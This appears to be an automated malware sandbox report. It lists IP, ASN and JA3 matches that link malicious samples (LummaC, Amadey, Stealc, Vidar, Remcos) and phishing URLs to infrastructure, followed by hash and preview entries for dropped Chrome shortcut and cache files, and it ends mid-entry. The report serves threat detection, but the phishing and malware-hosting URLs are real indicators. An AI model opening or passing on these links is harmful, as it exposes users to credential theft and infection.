	https://nam.dcv.ms/WLtyQ3priB	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
fp2e7a.wpc.phicdn.net	6GvQSVIEIu.exe	Get hash	malicious	Unknown	Browse	192.229.221.95
	NW_EmployerNewsletter_11142024_pdf.html	Get hash	malicious	Unknown	Browse	192.229.221.95
	gggghh.exe	Get hash	malicious	FormBook	Browse	192.229.221.95
	file.exe	Get hash	malicious	Remcos	Browse	192.229.221.95
	https://www.amtso.org/check-desktop-phishing-page/	Get hash	malicious	Unknown	Browse	192.229.221.95
	FACTURA 4377.exe	Get hash	malicious	Unknown	Browse	192.229.221.95
	WEqMZ4qrbX.dll	Get hash	malicious	Unknown	Browse	192.229.221.95
	exe005(1).exe	Get hash	malicious	Berbew	Browse	192.229.221.95
	exe002(1).exe	Get hash	malicious	Berbew	Browse	192.229.221.95
	exe001.exe	Get hash	malicious	Berbew	Browse	192.229.221.95

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.96.153.111
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	13.107.246.38
	https://s.id/nelsi	Get hash	malicious	HTMLPhisher	Browse	52.146.76.30
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.40
	Customer forms.pdf	Get hash	malicious	Unknown	Browse	20.75.106.146
	https://online-e.net/st-manager/click/track?id=795&type=raw&url=https://msc-mu.com/apikey-tyudqnhzdgevhdbasx/secure-redirect%23Darth.Vader%2BDeathStar.com&source_url=https%3A%2F%2Fonline-e.net%2Feven-if-even-though%2F&source_title=Even%20if%E3%81%A8Even%20though	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.101.168.44
	https://brand.site/896562718995127961820892	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.96.153.111
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	13.107.246.38
	https://s.id/nelsi	Get hash	malicious	HTMLPhisher	Browse	52.146.76.30
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.40
	Customer forms.pdf	Get hash	malicious	Unknown	Browse	20.75.106.146
	https://online-e.net/st-manager/click/track?id=795&type=raw&url=https://msc-mu.com/apikey-tyudqnhzdgevhdbasx/secure-redirect%23Darth.Vader%2BDeathStar.com&source_url=https%3A%2F%2Fonline-e.net%2Feven-if-even-though%2F&source_title=Even%20if%E3%81%A8Even%20though	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.101.168.44
	https://brand.site/896562718995127961820892	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
CLOUDFLARENETUS	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	Document-v23-08-15.js	Get hash	malicious	Unknown	Browse	172.67.191.134
	Document-v23-08-15.js	Get hash	malicious	Unknown	Browse	104.21.20.51
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.97.3
	nested-phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	Unknown	Browse	188.114.97.3
	https://s.id/sharedocument	Get hash	malicious	Unknown	Browse	188.114.96.3
	NTS_eTaxInvoice.html	Get hash	malicious	Unknown	Browse	104.17.25.14
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	file.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	https://s.id/sharedocument	Get hash	malicious	Unknown	Browse	23.1.237.91
	http://volunteeraudio.com	Get hash	malicious	Unknown	Browse	23.1.237.91
	Benefit Enrollment -wZ5nusm.pdf	Get hash	malicious	Unknown	Browse	23.1.237.91
	file.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	Customer forms.pdf	Get hash	malicious	Unknown	Browse	23.1.237.91
	http://user.ecomab.cc	Get hash	malicious	Unknown	Browse	23.1.237.91
	217469812STM.pdf	Get hash	malicious	ScreenConnect Tool, Phisher	Browse	23.1.237.91
	file.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	file.exe	Get hash	malicious	Remcos	Browse	23.1.237.91
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	Document-v23-08-15.js	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	nested-phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	https://s.id/sharedocument	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	NTS_eTaxInvoice.html	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	QuarantineMessage.zip	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	https://usapress.info/inside-the-last-words-of-dan-haggerty-aka-grizzly-adams-and-why-he-had-to-pull-the-plug-on-his-wife-of-20-years/	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	https://l.facebook.com/l.php?u=https%3A%2F%2Fusapress.info%2Finside-the-last-words-of-dan-haggerty-aka-grizzly-adams-and-why-he-had-to-pull-the-plug-on-his-wife-of-20-years%2F%3Ffbclid%3DIwZXh0bgNhZW0CMTAAAR0r3IVxCUPtQPPqP5Ce0_adoAsiHgG3Oy1cYDq3k1JXBIrTGLtjToxlazM_aem_q02YsKkKY0QB_fm5suzUDw&h=AT1Xo_CkNlagO29_sds-m5zdTBZ6-H70m0J__7wjjmSNinwNGqBfRUFK3cH2zXJWNO7msrJPRkNulrkTmUCLkRNMcfCJTNK-cs4SfUQyRy7nw3vP1DNmFisBvlttaen8fHfi-N3lXN_BGQgdBw&__tn__=R%5D-R&c%5B0%5D=AT3euz91upHKeMVK8p24ktUFKClJ0GKt_3lJnV9tGakx0Tro3u7Ymk1z4tOG4eBZxcuD-Ny10eAla4iUyfdG04Fh4GryHwAMuELGG4dQctfWKiu4mfB-eLJ8Qktnq0ptzD_TaZEPEMHQnvP4W65jDpc-XBmWlMSmaRM-2soPhaPGYAODWegqP8h47S90Q2hmwQvQgUDdb35OgV1duzzqudMAyOk7e8E7mfpnrlwhIvWwUkK53AUNuPTqYkQ	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27 13.107.246.45
3b5074b1b5d032e5620f69f9f700ff0e	file.exe	Get hash	malicious	LummaC	Browse	40.113.103.199
	https://s.id/sharedocument	Get hash	malicious	Unknown	Browse	40.113.103.199
	https://trackru.top/us	Get hash	malicious	Unknown	Browse	40.113.103.199
	https://www.google.ie/url?q=queryy8px(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3Dquery(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3Dquery(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3Dquery(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3D&sa=t&url=amp%2ftranscabrera.com%2fyaya%2f37w6telbuncxaji5ywvxeooxd1ok88ou67nhi/bWFyay5tY2tlbnppZUBtYWdlbGxhbmxwLmNvbQ==$?	Get hash	malicious	HTMLPhisher	Browse	40.113.103.199
	https://s.id/nelsi	Get hash	malicious	HTMLPhisher	Browse	40.113.103.199
	https://www.google.ie/url?q=querymmjx(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3Dquery(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3Dquery(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3Dquery(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3D&sa=t&url=amp%2fsafrareal.com.br%2fyoya%2fgrcbea7q6lbvpmruhnx3bojhvb2k6ojxdnvuw/Y3doaXRlQHdvcmxkZHJ5ZXIuY29t$?	Get hash	malicious	Unknown	Browse	40.113.103.199
	https://ledger-checks.s3.us-east-1.amazonaws.com/index.html	Get hash	malicious	Unknown	Browse	40.113.103.199
	https://t.ly/9nPyg	Get hash	malicious	Unknown	Browse	40.113.103.199
	Nota1893.exe	Get hash	malicious	Unknown	Browse	40.113.103.199
	Requerimento.exe	Get hash	malicious	Unknown	Browse	40.113.103.199
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.96.3
	QuarantineMessage.zip	Get hash	malicious	Unknown	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.96.3
	xaSPJNbl.ps1	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 19 23:18:46 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9713102138440632
Encrypted:	false
SSDEEP:	48:8SOdWTS2qHl0idAKZdA19ehwiZUklqehqy+3:8UPD9y
MD5:	0480F8D4C9DCA1E8BAAEA410CC98A68E
SHA1:	EA59233F73FAC890118E2A8282346E15A6EB061D
SHA-256:	9F756529ADF3C86674AF2D4FCCDDC43D3D669F45C0B3620EBA40A235177B4C65
SHA-512:	8A8218EDE5734AD22B2B041A3391A106EDA7D9A5AF7EAE6F2BA3F7936A952D090AC120DE687FF5A811053432E52E63A44CA174943E9A05A329F047C38909CC08
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....0...:..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.ItYV.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VtYV.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VtYV.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VtYV............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VtYX............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........".pE.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 19 23:18:46 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9897216752202262
Encrypted:	false
SSDEEP:	48:84dWTS2qHl0idAKZdA1weh/iZUkAQkqehty+2:8BPx9QAy
MD5:	F4B7EC3DCC6095AB85B8A5026D3B6EF7
SHA1:	56ABAD808ED2969066340C6654953B403E61935B
SHA-256:	5AFB551BA2D1C6813C83AAC7A7C13BA6EF7911FB0F1B9A3A1E0010ACF2BAE2A3
SHA-512:	88B5B33C76C848B36BF71D190D6DC6B33A7022698E0C1C7A33D47F198EFA21D9F9620B63F1E29E21F87497C2F9794E555263EE1217AE961F244F45C567D9219A
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.........:..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.ItYV.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VtYV.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VtYV.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VtYV............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VtYX............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........".pE.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.000679644899324
Encrypted:	false
SSDEEP:	48:8xPdWTS2sHl0idAKZdA14tseh7sFiZUkmgqeh7s7y+BX:8xoPbnBy
MD5:	8F951401F00445B7F6FC546EE93E56B3
SHA1:	E08F31C2E237E4E63CB78B2326F1C95D3C5E9117
SHA-256:	DB3660407509708079CE0B725E551702CEF42A4E0C305EA08F35EFA9E9F6A0FF
SHA-512:	CB3C790E7CBEE7BF8DD2860755507CB544596C6AD6F4B4DCCDFFD4E869F63F99180B9A44B639ED7FEC8CE94E895B4438CFF640824766F302730DCAA3356FB4FB
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.ItYV.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VtYV.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VtYV.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VtYV............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........".pE.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 19 23:18:46 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9867275499102974
Encrypted:	false
SSDEEP:	48:8GOdWTS2qHl0idAKZdA1vehDiZUkwqehpy+R:8YPyDy
MD5:	67CF2E27C730BB9FDDA1D1A6DC5F00E5
SHA1:	884E18BB212E4344D62DA4DF6A5F43945FCE0AA2
SHA-256:	00717F794FBA531F2035258AB91E0C2E089629B4ADBF7395E9A4502303D77E7D
SHA-512:	7FB453ADFA4DDBF74B757B312884C604016926FED001D7872F1E546A2BA993A8492BA446160161C9A7D058B11D04C4EC74F10582B450009E0F5CED175E4C6FCA
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....\|...:..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.ItYV.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VtYV.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VtYV.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VtYV............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VtYX............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........".pE.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 19 23:18:46 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9719950775662607
Encrypted:	false
SSDEEP:	48:8bdWTS2qHl0idAKZdA1hehBiZUk1W1qeh/y+C:80PC9fy
MD5:	BB043C140387DD1A09EBF83FFF25221C
SHA1:	F42F9208207A56C69D3E0892E1771D05995677FF
SHA-256:	522A7CB45FEC6876186DB1EDEAF4AC4351CB1C3F01581757B6F24A001B8B58F4
SHA-512:	5C7BAE4A329A3DCE6243B3C74F5E813A4E08C91BE26DACFA942B48A21A28F26DCFFCF0F5F70FB4B40EA83B231ED3679C6170D1608C6075A28B179B2FAD4A5407
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....A....:..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.ItYV.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VtYV.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VtYV.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VtYV............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VtYX............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........".pE.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 19 23:18:46 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9864568440420123
Encrypted:	false
SSDEEP:	48:8SdWTS2qHl0idAKZdA1duT+ehOuTbbiZUk5OjqehOuTbBy+yT+:8rP8T/TbxWOvTbBy7T
MD5:	6171FAFEDB9E609F876923D1A218566F
SHA1:	F4E0C2672183BDF8A59DF617D55A551649118AD3
SHA-256:	A7E5ABA4441A327587A82C751DCA7724982480785AE657F72BB5CA7EA6490409
SHA-512:	BAC8E138CD87B81EBC942168913A19A395260BCD922DF8F160EC51995363B49F9176B565886AA4671BE4319A2CC53D516923C122988AC5ED2A7DAAF28BA1AE85
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....9....:..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.ItYV.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VtYV.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VtYV.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VtYV............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VtYX............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........".pE.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	18477
Entropy (8bit):	5.147347768532056
Encrypted:	false
SSDEEP:	384:cF3MGvRvqhjNLN1RlX+Vqn3wj2pC33qr3h3x7Z04519u2/8Xx7kuFg/F3Bo3h16z:63MGpvqhj/rlOVqnACpK3o3hhl0OU2/x
MD5:	9A6B01877BAAC986FE1FBF4CAA95E7C7
SHA1:	A3227894EACEB2177EEE7CF66A693A9B4C0971FE
SHA-256:	12051CF7967A2E3F39971EC7F48D1892EB7138F7D1F7E5A3407D63E257EBE7AC
SHA-512:	5DBDA31E67FE480385283A63F8C2D0CE5E1B2A04A23917F65F0EC6867A9D95C93E4B50807D42D65718EF01588AA523FE791A0A1BD0663BB5DC9BED5E43995AB2
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
